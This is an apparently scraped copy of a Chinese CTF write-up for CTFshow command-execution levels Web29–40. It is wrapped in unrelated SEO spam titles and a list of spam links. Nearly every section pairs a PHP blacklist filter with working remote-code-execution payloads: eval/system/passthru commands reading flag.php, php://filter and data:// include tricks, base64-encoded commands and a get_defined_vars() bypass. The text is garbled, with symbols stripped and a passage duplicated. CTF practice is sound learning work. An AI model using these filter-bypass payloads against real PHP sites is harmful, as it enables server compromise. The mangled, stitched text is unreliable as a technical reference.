当前位置: 首页 > news >正文

电子商务网站对比分析海豚一键做淘宝网站

电子商务网站对比分析,海豚一键做淘宝网站,亿网科技有限公司,响应式网站demoCTFshow-命令执行(Web29-40) CTFWeb-命令执行漏洞过滤的绕过姿势_绕过空格过滤-CSDN博客 总结rce#xff08;远程代码执行各种sao姿势#xff09;绕过bypass_远程命令执行绕过-CSDN博客 对比两者的源代码#xff0c;我们发现#xff0c;cat指令把flag.php的内容导出后依…CTFshow-命令执行(Web29-40) CTFWeb-命令执行漏洞过滤的绕过姿势_绕过空格过滤-CSDN博客 总结rce远程代码执行各种sao姿势绕过bypass_远程命令执行绕过-CSDN博客 对比两者的源代码我们发现cat指令把flag.php的内容导出后依然遵循php的语法那么没有echo语句就无法显示而tac指令将一切倒过来后就不是php语句了在html语句里就就会直接显示出来。 Web29 ?php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag/i, $c)){eval($c);} }else{highlight_file(__FILE__); }执行恶意代码做了过滤preg_match当$c里有flag(不区分大小写/i) 就返回1不执行eval ?csystem(‘ls’); flag.php index.php?csystem(‘cat’); 直接执行系统命令 ?csystem(“tac%20fla*”); ?csystem(“tac fla*”);利用tac与system结合拿到flag 因为可以利用system来间接执行系统命令如果flag不在当前目录也可以利用?csystem(“ls”); 来查看到底在哪里。 内敛执行: ?cecho%20tac%20fla*; fliter读 https://ea17f469-c347-4866-aaad-05898730fd29.challenge.ctf.show/?cinclude$_GET[1]?1php://filter/readconvert.base64-encode/resourceflag.php/?csystem(“cat%20fl*g.php”);右键源码 ?csystem(“cp fl*g.php a.txt”); ?ceval($_GET[1]);1system(“tac%20flag.php”); ?csystem(base64_decode(‘Y2F0IGZsYWcucGhw’)); Web30 ?php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php/i, $c)){eval($c);} }else{highlight_file(__FILE__); }?cinclude$_GET[1]?1php://filter/readconvert.base64-encode/resourceflag.php ?cinclude$_GET[1];1php://filter/readconvert.base64-encode/resourceflag.php ?cecho%20tac%20fla*; ?cecho%20cat%20fla*; ?cecho(tac%20f*); ?ceval($_GET[1]);1system(“tac%20flag.php”); ?cpassthru(“tac%20fla*”); passthru跟execsystem差不多 https://e023300e-4277-465d-ab93-9747a4876361.challenge.ctf.show/?cecho shell_exec(tac fla*);?csystem(base64_decode(‘Y2F0IGZsYWcucGhw’)); ctfshow{8a58547f-7211-453b-9eba-9b9c4e85987b} Web31 ?php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\/i, $c)){eval($c);} }else{highlight_file(__FILE__); }?ceval($_GET[a]);asystem(“cat flag.php”);?cpassthru(“tac%09f*”);?cpassthru(base64_decode(“Y2F0IGZsYWcucGhw”)); Web32 ?php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\|\|echo|\;|\(/i, $c)){eval($c);}}else{highlight_file(__FILE__); }?cinclude$_GET[1]?1php://filter/readconvert.base64-encode/resourceflag.php cinclude%0a$_GET[1]?1php://filter/convert.base64-encode/resourceflag.php cinclude$_GET[1]?1php://filter/convert.base64-encode/resourceflag.php 其实两者的差距只在于一个%0a改不改无所谓下面解释各成分作用 首先是include参数1作用是包含参数1的文件运用了文件包含漏洞最后的文件名字可以改为/etc/passwd和nginx的日志文件来定位flag位置然后是%0a作用这是url回车符因为空格被过滤。事实上删去也无所谓似乎php会自动给字符串和变量间添加空格经检验只在eval中有效echo中无效还是得要空格后面的?的作用是作为绕过分号作为语句的结束。原理是php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说就是php文件中最后一句在?前可以不写分号。在c中引用了参数1然后后对参数1定义运用文件包含漏洞 ?cinclude$_GET[1]?1data://text/plain,?php system(tac flag.php)? Web33 ?php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\|\|echo|\;|\(|\/i, $c)){eval($c);}}else{highlight_file(__FILE__); }?cinclude$_GET[1]?1data://text/plain,?php system(tac flag.php)??cinclude%0a$_GET[1]?1php://filter/convert.base64-encode/resourceflag.php?cinclude$_GET[1]?1php://filter/convert.base64-encode/resourceflag.php Web34 ?php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\|\|echo|\;|\(|\:|\/i, $c)){eval($c);} }else{highlight_file(__FILE__); }?cinclude$_GET[1]?1data://text/plain,?php system(tac flag.php)??cinclude%0a$_GET[1]?1php://filter/convert.base64-encode/resourceflag.php?cinclude$_GET[1]?1php://filter/convert.base64-encode/resourceflag.php Web35 ?php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\|\|echo|\;|\(|\:|\|\|\/i, $c)){eval($c);} }else{highlight_file(__FILE__); }?cinclude$_GET[1]?1data://text/plain,?php system(tac flag.php)??cinclude%0a$_GET[1]?1php://filter/convert.base64-encode/resourceflag.php?cinclude$_GET[1]?1php://filter/convert.base64-encode/resourceflag.php Web36 ?php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|system|php|cat|sort|shell|\.| |\|\|echo|\;|\(|\:|\|\|\|\/|[0-9]/i, $c)){eval($c);} }else{highlight_file(__FILE__); }?cinclude$_GET[a]?adata://text/plain,?php system(tac flag.php)??cinclude%0a$_GET[a]?aphp://filter/convert.base64-encode/resourceflag.php?cinclude$_GET[a]?aphp://filter/convert.base64-encode/resourceflag.php Web37 ?php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag/i, $c)){include($c);echo $flag;} }else{highlight_file(__FILE__); }?cdata://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg?cdata://text/plain,?php system(tac fla*.php)? include() 将 data:// 解释为PHP代码会直接执行 ?cphp://filter/readconvert.base64-encode/resourceflag.php不行因为过滤了flag 在 PHP 中include() 不仅能加载文件还可以加载数据流stream。PHP 支持多种流包装器Stream Wrapper如 data:// - 直接包含原始数据php:// - PHP的输入/输出流file:// - 读取文件通常默认使用这个http:// - 远程 HTTP 资源 这种方法也行不够hackbar不支持直接在post data中不以键值对形式传送所以得用burp抓包手动加 Web38 ?php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag|php|file/i, $c)){include($c);echo $flag;}}else{highlight_file(__FILE__); }把php,file也过来过滤了 直接?cdata://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg Web39 ?php error_reporting(0); if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/flag/i, $c)){include($c..php);} }else{highlight_file(__FILE__); }?cdata://text/plain,?php system(tac fla*.php)? Web40 ?php if(isset($_GET[c])){$c $_GET[c];if(!preg_match(/[0-9]|\~|\|\|\#|\\$|\%|\^|\|\*|\|\|\-|\|\|\{|\[|\]|\}|\:|\|\|\,|\|\.|\|\/|\?|\\\\/i, $c)){eval($c);} }else{highlight_file(__FILE__); }全过滤了这里括号过滤的是中文括号 构造文件读取 localeconv():返回包含本地数字及货币信息格式的数组。其中数组中的第一个为点号(.) pos():返回数组中的当前元素的值。current()与其相似。 scandir():获取目录下的文件。 array_reverse():数组逆序。 next():函数将内部指针指向数组中的下一个元素并输出。 print_r():函数用于打印变量作用对象是变量。 show_source():对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮作用对象是文件。 highlight_file():跟show_source()类似。 print_r(pos(localeconv()));print_r(scandir(pos(localeconv())));print_r((array_reverse(scandir(current(localeconv())))));show_source(next(array_reverse(scandir(current(localeconv())))));highlight_file(next(array_reverse(scandir(current(localeconv())))));echo highlight_file(next(array_reverse(scandir(pos(localeconv()))))); 构造数组rce get_defined_vars() 函数返回由所有已定义变量所组成的数组包括URL屁股后面接的pay array_pop() 函数删除数组中的最后一个元素。 reset用于将指向返回变量数组的指针指向第一个变量即c next向前移动一位指针即payeval执行返回的值就是咱们定义的恶意代码 print_r(get_defined_vars());?ceval(next(reset(get_defined_vars())));paysystem(“tac flag.php”); 这里源码只定义了一个变量即c加上引入的pay就两个变量值了 函数删除数组中的最后一个元素。 reset用于将指向返回变量数组的指针指向第一个变量即c next向前移动一位指针即payeval执行返回的值就是咱们定义的恶意代码 print_r(get_defined_vars());?ceval(next(reset(get_defined_vars())));paysystem(“tac flag.php”); 这里源码只定义了一个变量即c加上引入的pay就两个变量值了 [外链图片转存中…(img-CvyDaotT-1733923316562)] [外链图片转存中…(img-biZkr7bS-1733923316562)]
http://www.hkea.cn/news/14376065/

相关文章:

  • 泉州做网站公司科技资讯网站有哪些
  • org域名网站宁波做网站皆选蓉胜网络
  • 一个网站的开发周期物流运输 有哪些网站可以做推广
  • 购买域名后怎么建网站网站公司必须帮备案
  • 如何做专题网站海建网站
  • 网站用html做框架asp做主页seo案例分享
  • 中小企业网站制作过程中要注意什么国外网站在国内备案
  • 盐城市建设局网站设计备案资料漫画app软件定制开发
  • 不懂外贸做外贸网站好做吗网站导航栏条源码
  • wordpress 网站备案号基于html5的旅游网站的设计
  • 考生登录贵州省住房和城乡建设厅网站建筑网片产品资料
  • 网站收录查询站长工具锦州网站建设排行榜
  • 张家港手机网站wordpress请提供一个地址才能继续
  • 用墨刀做网站首页网页如何保存密码
  • 外贸网站建设定做深圳手机企业网站设计
  • 手机上怎么查看网站设计我国市级网站建设分析模板
  • 上海的企业网站备案御名是什么意思
  • 网站开发的具体流程官方黄金网站软件app大全下载
  • 旅行社网站怎么做成都微信小程序商城
  • 手机微网站尺寸wordpress左右主题
  • 长沙品牌设计公司都有哪些关键词优化举例
  • 网站开发页面怎么进天津河东做网站
  • 爱做网站免费版邯郸住房和城乡建设局网站
  • 咸阳企业网站设计开发制作社交app开发公司
  • 公司网站建设的改进的建议房地产app
  • 如何申请网站备案有口碑的坪山网站建设
  • 常州酒店网站建设网站管理与建设教程
  • 定制的网站源码人和动物做的网站
  • PHP网站开发案例12源代码创建免费网页
  • 网站推广站wordpress 焦点图大小